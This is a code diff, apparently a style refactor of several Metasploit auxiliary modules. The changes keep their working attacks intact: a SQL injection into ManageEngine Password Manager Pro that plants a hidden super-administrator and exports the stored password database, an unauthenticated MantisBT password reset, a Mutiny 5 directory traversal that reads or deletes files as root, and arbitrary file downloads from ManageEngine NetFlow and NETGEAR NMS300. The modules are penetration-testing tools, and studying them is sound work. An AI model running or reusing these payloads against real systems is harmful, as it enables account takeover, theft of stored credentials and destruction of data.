sqli_prefix = '\\\'))))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") AS Ptrx_DummyPwds GROUP BY "PTRX_RID","PTRX_RNAME","PTRX_DESC","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24") as ' + Rex::Text.rand_text_alpha_lower(rand(8)+3) + ";"
|
||||
sqli_prefix = '\\\'))))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") AS Ptrx_DummyPwds GROUP BY "PTRX_RID","PTRX_RNAME","PTRX_DESC","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24") as ' + Rex::Text.rand_text_alpha_lower(rand(3..10)) + ';'
|
||||
end
|
||||
|
||||
user_id = Rex::Text.rand_text_numeric(4)
|
||||
time = Rex::Text.rand_text_numeric(8)
|
||||
username = Rex::Text.rand_text_alpha_lower(6)
|
||||
username_chr = ""
|
||||
username_chr = ''
|
||||
username.each_char do |c|
|
||||
username_chr << 'chr(' << c.ord.to_s << ')||'
|
||||
username_chr << 'chr(' << c.ord.to_s << ')||'
|
||||
end
|
||||
username_chr.chop!.chop!
|
||||
|
||||
password = Rex::Text.rand_text_alphanumeric(10)
|
||||
password_chr = ""
|
||||
password_chr = ''
|
||||
password.each_char do |c|
|
||||
password_chr << 'chr(' << c.ord.to_s << ')||'
|
||||
password_chr << 'chr(' << c.ord.to_s << ')||'
|
||||
end
|
||||
password_chr.chop!.chop!
|
||||
|
||||
group_chr = ""
|
||||
group_chr = ''
|
||||
'Default Group'.each_char do |c|
|
||||
group_chr << 'chr(' << c.ord.to_s << ')||'
|
||||
group_chr << 'chr(' << c.ord.to_s << ')||'
|
||||
end
|
||||
group_chr.chop!.chop!
|
||||
|
||||
sqli_command =
|
||||
"insert into aaauser values (#{user_id},$$$$,$$$$,$$$$,#{time},$$$$);" +
|
||||
"insert into aaapassword values (#{user_id},#{password_chr},$$$$,0,2,1,#{time});" +
|
||||
"insert into aaauserstatus values (#{user_id},$$ACTIVE$$,#{time});" +
|
||||
"insert into aaalogin values (#{user_id},#{user_id},#{username_chr});" +
|
||||
"insert into aaaaccount values (#{user_id},#{user_id},1,1,#{time});" +
|
||||
"insert into aaaauthorizedrole values (#{user_id},1);" +
|
||||
"insert into aaaaccountstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" +
|
||||
"insert into aaapasswordstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" +
|
||||
"insert into aaaaccadminprofile values (#{user_id},$$" + Rex::Text.rand_text_alpha_upper(8) + "$$,-1,-1,-1,-1,-1,false,-1,-1,-1,$$$$);" +
|
||||
"insert into aaaaccpassword values (#{user_id},#{user_id});" +
|
||||
"insert into ptrx_resourcegroup values (#{user_id},3,#{user_id},0,0,0,0,#{group_chr},$$$$);" +
|
||||
"insert into ptrx_superadmin values (#{user_id},true);"
|
||||
sqli_suffix = "-- "
|
||||
"insert into aaauser values (#{user_id},$$$$,$$$$,$$$$,#{time},$$$$);" \
|
||||
"insert into aaapassword values (#{user_id},#{password_chr},$$$$,0,2,1,#{time});" \
|
||||
"insert into aaauserstatus values (#{user_id},$$ACTIVE$$,#{time});" \
|
||||
"insert into aaalogin values (#{user_id},#{user_id},#{username_chr});" \
|
||||
"insert into aaaaccount values (#{user_id},#{user_id},1,1,#{time});" \
|
||||
"insert into aaaauthorizedrole values (#{user_id},1);" \
|
||||
"insert into aaaaccountstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" \
|
||||
"insert into aaapasswordstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" \
|
||||
"insert into aaaaccadminprofile values (#{user_id},$$" + Rex::Text.rand_text_alpha_upper(8) + '$$,-1,-1,-1,-1,-1,false,-1,-1,-1,$$$$);' \
|
||||
"insert into aaaaccpassword values (#{user_id},#{user_id});" \
|
||||
"insert into ptrx_resourcegroup values (#{user_id},3,#{user_id},0,0,0,0,#{group_chr},$$$$);" \
|
||||
"insert into ptrx_superadmin values (#{user_id},true);"
|
||||
sqli_suffix = '-- '
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, "SQLAdvancedALSearchResult.cc"),
|
||||
'cookie' => @cookie,
|
||||
'vars_post' => {
|
||||
'COUNT' => Rex::Text.rand_text_numeric(2),
|
||||
'SEARCH_ALL' => sqli_prefix + sqli_command + sqli_suffix,
|
||||
'USERID' => Rex::Text.rand_text_numeric(4)
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'SQLAdvancedALSearchResult.cc'),
|
||||
'cookie' => @cookie,
|
||||
'vars_post' => {
|
||||
'COUNT' => Rex::Text.rand_text_numeric(2),
|
||||
'SEARCH_ALL' => sqli_prefix + sqli_command + sqli_suffix,
|
||||
'USERID' => Rex::Text.rand_text_numeric(4)
|
||||
}
|
||||
})
|
||||
|
||||
return [ username, password ]
|
||||
end
|
||||
|
||||
|
||||
def get_version
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri("PassTrixMain.cc"),
|
||||
'uri' => normalize_uri('PassTrixMain.cc'),
|
||||
'method' => 'GET'
|
||||
})
|
||||
if res && res.code == 200 && res.body &&
|
||||
res.body.to_s =~ /ManageEngine Password Manager Pro/ &&
|
||||
(
|
||||
res.body.to_s =~ /login\.css\?([0-9]+)/ || # PMP v6
|
||||
res.body.to_s =~ /login\.css\?version=([0-9]+)/ || # PMP v6
|
||||
res.body.to_s =~ /\/themes\/passtrix\/V([0-9]+)\/styles\/login\.css"/ # PMP v7
|
||||
)
|
||||
return $1.to_i
|
||||
res.body.to_s =~ /ManageEngine Password Manager Pro/ &&
|
||||
(
|
||||
res.body.to_s =~ /login\.css\?([0-9]+)/ || # PMP v6
|
||||
res.body.to_s =~ /login\.css\?version=([0-9]+)/ || # PMP v6
|
||||
res.body.to_s =~ %r{/themes/passtrix/V([0-9]+)/styles/login\.css"} # PMP v7
|
||||
)
|
||||
return ::Regexp.last_match(1).to_i
|
||||
else
|
||||
return 9999
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def check
|
||||
version = get_version
|
||||
case version
|
||||
when 0..7104
|
||||
return Exploit::CheckCode::Appears
|
||||
when 7105..9998
|
||||
return Exploit::CheckCode::Safe
|
||||
else
|
||||
return Exploit::CheckCode::Unknown
|
||||
when 0..7104
|
||||
return Exploit::CheckCode::Appears
|
||||
when 7105..9998
|
||||
return Exploit::CheckCode::Safe
|
||||
else
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
unless check == Exploit::CheckCode::Appears
|
||||
print_error("Fingerprint hasn't been successful, trying to exploit anyway...")
|
||||
|
@ -223,11 +221,11 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
version = get_version
|
||||
@cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
if @cookie == nil
|
||||
if @cookie.nil?
|
||||
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate.")
|
||||
end
|
||||
|
||||
creds = inject_sql(version < 7000 ? true : false)
|
||||
creds = inject_sql(version < 7000)
|
||||
username = creds[0]
|
||||
password = creds[1]
|
||||
print_good("Created a new Super Administrator with username: #{username} | password: #{password}")
|
||||
|
@ -238,15 +236,15 @@ class MetasploitModule < Msf::Auxiliary
|
|||
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate as Super Administrator, account #{username} might not work.")
|
||||
end
|
||||
|
||||
print_status("Reporting Super Administrator credentials...")
|
||||
print_status('Reporting Super Administrator credentials...')
|
||||
store_valid_credentail(user: username, private: password)
|
||||
|
||||
print_status("Leaking Password database...")
|
||||
print_status('Leaking Password database...')
|
||||
loot_passwords(cookie_su)
|
||||
end
|
||||
|
||||
def service_details
|
||||
super.merge({access_level: 'Super Administrator'})
|
||||
super.merge({ access_level: 'Super Administrator' })
|
||||
end
|
||||
|
||||
def loot_passwords(cookie_admin)
|
||||
|
@ -255,14 +253,14 @@ class MetasploitModule < Msf::Auxiliary
|
|||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'ConfigureOffline.ve'),
|
||||
'cookie' => cookie_admin,
|
||||
'vars_post' => {
|
||||
'IS_XLS' => 'true',
|
||||
'includePasswd' => 'true',
|
||||
'HOMETAB' => 'true',
|
||||
'RESTAB' => 'true',
|
||||
'RGTAB' => 'true',
|
||||
'PASSWD_RULE' => 'Offline Password File',
|
||||
'LOGOUT_TIME' => '20'
|
||||
'vars_post' => {
|
||||
'IS_XLS' => 'true',
|
||||
'includePasswd' => 'true',
|
||||
'HOMETAB' => 'true',
|
||||
'RESTAB' => 'true',
|
||||
'RGTAB' => 'true',
|
||||
'PASSWD_RULE' => 'Offline Password File',
|
||||
'LOGOUT_TIME' => '20'
|
||||
}
|
||||
})
|
||||
|
||||
|
@ -276,23 +274,24 @@ class MetasploitModule < Msf::Auxiliary
|
|||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body && res.body.to_s.length > 0
|
||||
if res && res.code == 200 && res.body && !res.body.to_s.empty?
|
||||
vprint_line(res.body.to_s)
|
||||
print_good("Successfully exported password database from Password Manager Pro.")
|
||||
loot_name = 'manageengine.passwordmanagerpro.password.db'
|
||||
loot_type = 'text/csv'
|
||||
print_good('Successfully exported password database from Password Manager Pro.')
|
||||
loot_name = 'manageengine.passwordmanagerpro.password.db'
|
||||
loot_type = 'text/csv'
|
||||
loot_filename = 'manageengine_pmp_password_db.csv'
|
||||
loot_desc = 'ManageEngine Password Manager Pro Password DB'
|
||||
loot_desc = 'ManageEngine Password Manager Pro Password DB'
|
||||
p = store_loot(
|
||||
loot_name,
|
||||
loot_type,
|
||||
rhost,
|
||||
res.body,
|
||||
loot_filename,
|
||||
loot_desc)
|
||||
loot_name,
|
||||
loot_type,
|
||||
rhost,
|
||||
res.body,
|
||||
loot_filename,
|
||||
loot_desc
|
||||
)
|
||||
print_status("Password database saved in: #{p}")
|
||||
else
|
||||
print_error("Failed to export Password Manager Pro passwords.")
|
||||
print_error('Failed to export Password Manager Pro passwords.')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -6,56 +6,55 @@
|
|||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "MantisBT password reset",
|
||||
'Description' => %q{
|
||||
MantisBT before 1.3.10, 2.2.4, and 2.3.1 are vulnerable to unauthenticated password reset.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'John (hyp3rlinx) Page', # initial discovery
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'MantisBT password reset',
|
||||
'Description' => %q{
|
||||
MantisBT before 1.3.10, 2.2.4, and 2.3.1 are vulnerable to unauthenticated password reset.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'John (hyp3rlinx) Page', # initial discovery
|
||||
'Julien (jvoisin) Voisin' # metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
'References' => [
|
||||
['CVE', '2017-7615'],
|
||||
['EDB', '41890'],
|
||||
['URL', 'https://mantisbt.org/bugs/view.php?id=22690'],
|
||||
['URL', 'http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt']
|
||||
],
|
||||
'Platform' => ['win', 'linux'],
|
||||
'DisclosureDate' => '2017-04-16'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERID', [ true, 'User id to reset', 1]),
|
||||
OptString.new('PASSWORD', [ false, 'The new password to set (blank for random)', '']),
|
||||
OptString.new('TARGETURI', [ true, 'Relative URI of MantisBT installation', '/'])
|
||||
]
|
||||
'Platform' => ['win', 'linux'],
|
||||
'DisclosureDate' => '2017-04-16'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERID', [ true, 'User id to reset', 1]),
|
||||
OptString.new('PASSWORD', [ false, 'The new password to set (blank for random)', '']),
|
||||
OptString.new('TARGETURI', [ true, 'Relative URI of MantisBT installation', '/'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, '/login_page.php'),
|
||||
'method'=>'GET'
|
||||
})
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, '/login_page.php'),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res && res.body && res.body.include?('Powered by <a href="http://www.mantisbt.org" title="bug tracking software">MantisBT')
|
||||
vprint_status("MantisBT detected")
|
||||
return Exploit::CheckCode::Detected
|
||||
else
|
||||
vprint_status("Not a MantisBT Instance!")
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
rescue Rex::ConnectionRefused
|
||||
print_error("Connection refused by server.")
|
||||
if res && res.body && res.body.include?('Powered by <a href="http://www.mantisbt.org" title="bug tracking software">MantisBT')
|
||||
vprint_status('MantisBT detected')
|
||||
return Exploit::CheckCode::Detected
|
||||
else
|
||||
vprint_status('Not a MantisBT Instance!')
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
rescue Rex::ConnectionRefused
|
||||
print_error('Connection refused by server.')
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def run
|
||||
|
@ -69,16 +68,15 @@ class MetasploitModule < Msf::Auxiliary
|
|||
})
|
||||
|
||||
if !res || !res.body
|
||||
fail_with(Failure::UnexpectedReply, "Error in server response. Ensure the server IP is correct.")
|
||||
fail_with(Failure::UnexpectedReply, 'Error in server response. Ensure the server IP is correct.')
|
||||
end
|
||||
|
||||
cookie = res.get_cookies
|
||||
|
||||
if cookie == '' || !(res.body.include? 'Your account information has been verified.')
|
||||
fail_with(Failure::NoAccess, "Authentication failed")
|
||||
fail_with(Failure::NoAccess, 'Authentication failed')
|
||||
end
|
||||
|
||||
|
||||
if datastore['PASSWORD'].blank?
|
||||
password = Rex::Text.rand_text_alpha(8)
|
||||
else
|
||||
|
@ -86,7 +84,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
if res.body =~ /<input type="hidden" name="account_update_token" value="([a-zA-Z0-9_-]+)"/
|
||||
token = $1
|
||||
token = ::Regexp.last_match(1)
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, 'Could not retrieve account_update_token')
|
||||
end
|
||||
|
@ -95,12 +93,12 @@ class MetasploitModule < Msf::Auxiliary
|
|||
'uri' => normalize_uri(target_uri.path, '/account_update.php'),
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'verify_user_id' => datastore['USERID'],
|
||||
'account_update_token' => $1,
|
||||
'realname' => Rex::Text.rand_text_alpha(rand(5) + 8),
|
||||
'password' => password,
|
||||
'password_confirm' => password
|
||||
},
|
||||
'verify_user_id' => datastore['USERID'],
|
||||
'account_update_token' => ::Regexp.last_match(1),
|
||||
'realname' => Rex::Text.rand_text_alpha(rand(8..12)),
|
||||
'password' => password,
|
||||
'password_confirm' => password
|
||||
},
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
|
|
|
@ -7,100 +7,103 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Mutiny 5 Arbitrary File Read and Delete',
|
||||
'Description' => %q{
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Mutiny 5 Arbitrary File Read and Delete',
|
||||
'Description' => %q{
|
||||
This module exploits the EditDocument servlet from the frontend on the Mutiny 5
|
||||
appliance. The EditDocument servlet provides file operations, such as copy and
|
||||
delete, which are affected by a directory traversal vulnerability. Because of this,
|
||||
any authenticated frontend user can read and delete arbitrary files from the system
|
||||
with root privileges. In order to exploit the vulnerability a valid user (any role)
|
||||
in the web frontend is required. The module has been tested successfully on the
|
||||
Mutiny 5.0-1.07 appliance.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
appliance. The EditDocument servlet provides file operations, such as copy and
|
||||
delete, which are affected by a directory traversal vulnerability. Because of this,
|
||||
any authenticated frontend user can read and delete arbitrary files from the system
|
||||
with root privileges. In order to exploit the vulnerability a valid user (any role)
|
||||
in the web frontend is required. The module has been tested successfully on the
|
||||
Mutiny 5.0-1.07 appliance.
|
||||
},
|
||||
'Author' => [
|
||||
'juan vazquez' # Metasploit module and initial discovery
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'CVE', '2013-0136' ],
|
||||
[ 'US-CERT-VU', '701572' ],
|
||||
[ 'URL', 'https://www.rapid7.com/blog/post/2013/05/15/new-1day-exploits-mutiny-vulnerabilities/' ]
|
||||
],
|
||||
'Actions' =>
|
||||
[
|
||||
['Read', 'Description' => 'Read arbitrary file'],
|
||||
['Delete', 'Description' => 'Delete arbitrary file']
|
||||
'Actions' => [
|
||||
['Read', { 'Description' => 'Read arbitrary file' }],
|
||||
['Delete', { 'Description' => 'Delete arbitrary file' }]
|
||||
],
|
||||
'DefaultAction' => 'Read',
|
||||
'DisclosureDate' => '2013-05-15'))
|
||||
'DefaultAction' => 'Read',
|
||||
'DisclosureDate' => '2013-05-15'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('TARGETURI',[true, 'Path to Mutiny Web Service', '/']),
|
||||
OptString.new('TARGETURI', [true, 'Path to Mutiny Web Service', '/']),
|
||||
OptString.new('USERNAME', [ true, 'The user to authenticate as', 'superadmin@mutiny.com' ]),
|
||||
OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'password' ]),
|
||||
OptString.new('PATH', [ true, 'The file to read or delete' ]),
|
||||
])
|
||||
OptString.new('PATH', [ true, 'The file to read or delete' ]),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("Trying to login")
|
||||
print_status('Trying to login')
|
||||
if login
|
||||
print_good("Login Successful")
|
||||
print_good('Login Successful')
|
||||
else
|
||||
print_error("Login failed, review USERNAME and PASSWORD options")
|
||||
print_error('Login failed, review USERNAME and PASSWORD options')
|
||||
return
|
||||
end
|
||||
|
||||
case action.name
|
||||
when 'Read'
|
||||
read_file(datastore['PATH'])
|
||||
when 'Delete'
|
||||
delete_file(datastore['PATH'])
|
||||
when 'Read'
|
||||
read_file(datastore['PATH'])
|
||||
when 'Delete'
|
||||
delete_file(datastore['PATH'])
|
||||
end
|
||||
end
|
||||
|
||||
def read_file(file)
|
||||
print_status('Copying file to Web location...')
|
||||
|
||||
print_status("Copying file to Web location...")
|
||||
|
||||
dst_path = "/usr/jakarta/tomcat/webapps/ROOT/m/"
|
||||
dst_path = '/usr/jakarta/tomcat/webapps/ROOT/m/'
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path, "interface", "EditDocument"),
|
||||
'method' => 'POST',
|
||||
'cookie' => "JSESSIONID=#{@session}",
|
||||
'encode_params' => false,
|
||||
'vars_post' => {
|
||||
'operation' => 'COPY',
|
||||
'paths[]' => "../../../../#{file}%00.txt",
|
||||
'newPath' => "../../../..#{dst_path}"
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path, 'interface', 'EditDocument'),
|
||||
'method' => 'POST',
|
||||
'cookie' => "JSESSIONID=#{@session}",
|
||||
'encode_params' => false,
|
||||
'vars_post' => {
|
||||
'operation' => 'COPY',
|
||||
'paths[]' => "../../../../#{file}%00.txt",
|
||||
'newPath' => "../../../..#{dst_path}"
|
||||
}
|
||||
}
|
||||
})
|
||||
)
|
||||
|
||||
if res and res.code == 200 and res.body =~ /\{"success":true\}/
|
||||
if res && (res.code == 200) && res.body =~ (/\{"success":true\}/)
|
||||
print_good("File #{file} copied to #{dst_path} successfully")
|
||||
else
|
||||
print_error("Failed to copy #{file} to #{dst_path}")
|
||||
end
|
||||
|
||||
print_status("Retrieving file contents...")
|
||||
print_status('Retrieving file contents...')
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path, "m", ::File.basename(file)),
|
||||
'method' => 'GET'
|
||||
})
|
||||
'uri' => normalize_uri(target_uri.path, 'm', ::File.basename(file)),
|
||||
'method' => 'GET'
|
||||
}
|
||||
)
|
||||
|
||||
if res and res.code == 200
|
||||
store_path = store_loot("mutiny.frontend.data", "application/octet-stream", rhost, res.body, file)
|
||||
if res && (res.code == 200)
|
||||
store_path = store_loot('mutiny.frontend.data', 'application/octet-stream', rhost, res.body, file)
|
||||
print_good("File successfully retrieved and saved on #{store_path}")
|
||||
else
|
||||
print_error("Failed to retrieve file")
|
||||
print_error('Failed to retrieve file')
|
||||
end
|
||||
|
||||
# Cleanup
|
||||
|
@ -111,17 +114,18 @@ class MetasploitModule < Msf::Auxiliary
|
|||
print_status("Deleting file #{file}")
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path, "interface", "EditDocument"),
|
||||
'method' => 'POST',
|
||||
'cookie' => "JSESSIONID=#{@session}",
|
||||
'vars_post' => {
|
||||
'operation' => 'DELETE',
|
||||
'paths[]' => "../../../../#{file}"
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path, 'interface', 'EditDocument'),
|
||||
'method' => 'POST',
|
||||
'cookie' => "JSESSIONID=#{@session}",
|
||||
'vars_post' => {
|
||||
'operation' => 'DELETE',
|
||||
'paths[]' => "../../../../#{file}"
|
||||
}
|
||||
}
|
||||
})
|
||||
)
|
||||
|
||||
if res and res.code == 200 and res.body =~ /\{"success":true\}/
|
||||
if res && (res.code == 200) && res.body =~ (/\{"success":true\}/)
|
||||
print_good("File #{file} deleted")
|
||||
else
|
||||
print_error("Error deleting file #{file}")
|
||||
|
@ -129,41 +133,43 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def login
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path, "interface", "index.do"),
|
||||
'uri' => normalize_uri(target_uri.path, 'interface', 'index.do'),
|
||||
'method' => 'GET'
|
||||
})
|
||||
}
|
||||
)
|
||||
|
||||
if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=(.*);/
|
||||
first_session = $1
|
||||
if res && (res.code == 200) && res.get_cookies =~ (/JSESSIONID=(.*);/)
|
||||
first_session = ::Regexp.last_match(1)
|
||||
end
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path, "interface", "j_security_check"),
|
||||
'method' => 'POST',
|
||||
'cookie' => "JSESSIONID=#{first_session}",
|
||||
'vars_post' => {
|
||||
'j_username' => datastore['USERNAME'],
|
||||
'j_password' => datastore['PASSWORD']
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path, 'interface', 'j_security_check'),
|
||||
'method' => 'POST',
|
||||
'cookie' => "JSESSIONID=#{first_session}",
|
||||
'vars_post' => {
|
||||
'j_username' => datastore['USERNAME'],
|
||||
'j_password' => datastore['PASSWORD']
|
||||
}
|
||||
}
|
||||
})
|
||||
)
|
||||
|
||||
if not res or res.code != 302 or res.headers['Location'] !~ /interface\/index.do/
|
||||
if !res || (res.code != 302) || res.headers['Location'] !~ (%r{interface/index.do})
|
||||
return false
|
||||
end
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path, "interface", "index.do"),
|
||||
'method' => 'GET',
|
||||
'cookie' => "JSESSIONID=#{first_session}"
|
||||
})
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path, 'interface', 'index.do'),
|
||||
'method' => 'GET',
|
||||
'cookie' => "JSESSIONID=#{first_session}"
|
||||
}
|
||||
)
|
||||
|
||||
if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=(.*);/
|
||||
@session = $1
|
||||
if res && (res.code == 200) && res.get_cookies =~ (/JSESSIONID=(.*);/)
|
||||
@session = ::Regexp.last_match(1)
|
||||
return true
|
||||
end
|
||||
|
||||
|
|
|
@ -7,39 +7,41 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'ManageEngine NetFlow Analyzer Arbitrary File Download',
|
||||
'Description' => %q{
|
||||
This module exploits an arbitrary file download vulnerability in CSVServlet
|
||||
on ManageEngine NetFlow Analyzer. This module has been tested on both Windows
|
||||
and Linux with versions 8.6 to 10.2. Note that when typing Windows paths, you
|
||||
must escape the backslash with a backslash.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'ManageEngine NetFlow Analyzer Arbitrary File Download',
|
||||
'Description' => %q{
|
||||
This module exploits an arbitrary file download vulnerability in CSVServlet
|
||||
on ManageEngine NetFlow Analyzer. This module has been tested on both Windows
|
||||
and Linux with versions 8.6 to 10.2. Note that when typing Windows paths, you
|
||||
must escape the backslash with a backslash.
|
||||
},
|
||||
'Author' => [
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'CVE', '2014-5445' ],
|
||||
[ 'OSVDB', '115340' ],
|
||||
[ 'URL', 'https://seclists.org/fulldisclosure/2014/Dec/9' ],
|
||||
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_netflow_it360_file_dl.txt' ]
|
||||
],
|
||||
'DisclosureDate' => '2014-11-30'))
|
||||
'DisclosureDate' => '2014-11-30'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('TARGETURI',
|
||||
[ true, "The base path to NetFlow Analyzer", '/netflow' ]),
|
||||
[ true, 'The base path to NetFlow Analyzer', '/netflow' ]),
|
||||
OptString.new('FILEPATH', [true, 'Path of the file to download', 'C:\\windows\\system.ini']),
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
# Create request
|
||||
begin
|
||||
|
@ -47,17 +49,17 @@ class MetasploitModule < Msf::Auxiliary
|
|||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', 'CSVServlet'),
|
||||
'vars_get' => { 'schFilePath' => datastore['FILEPATH'] },
|
||||
'vars_get' => { 'schFilePath' => datastore['FILEPATH'] }
|
||||
})
|
||||
rescue Rex::ConnectionError
|
||||
print_error("Could not connect.")
|
||||
print_error('Could not connect.')
|
||||
return
|
||||
end
|
||||
|
||||
# Show data if needed
|
||||
if res && res.code == 200
|
||||
if res.body.to_s.bytesize == 0
|
||||
print_error("0 bytes returned, file does not exist or it is empty.")
|
||||
print_error('0 bytes returned, file does not exist or it is empty.')
|
||||
return
|
||||
end
|
||||
vprint_line(res.body.to_s)
|
||||
|
@ -72,7 +74,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
)
|
||||
print_good("File saved in: #{path}")
|
||||
else
|
||||
print_error("Failed to download file.")
|
||||
print_error('Failed to download file.')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -8,46 +8,50 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NETGEAR ProSafe Network Management System 300 Authenticated File Download',
|
||||
'Description' => %q{
|
||||
Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.
|
||||
The application has a file download vulnerability that can be exploited by an
|
||||
authenticated remote attacker to download any file in the system.
|
||||
This module has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
super(
|
||||
update_info(
|
||||
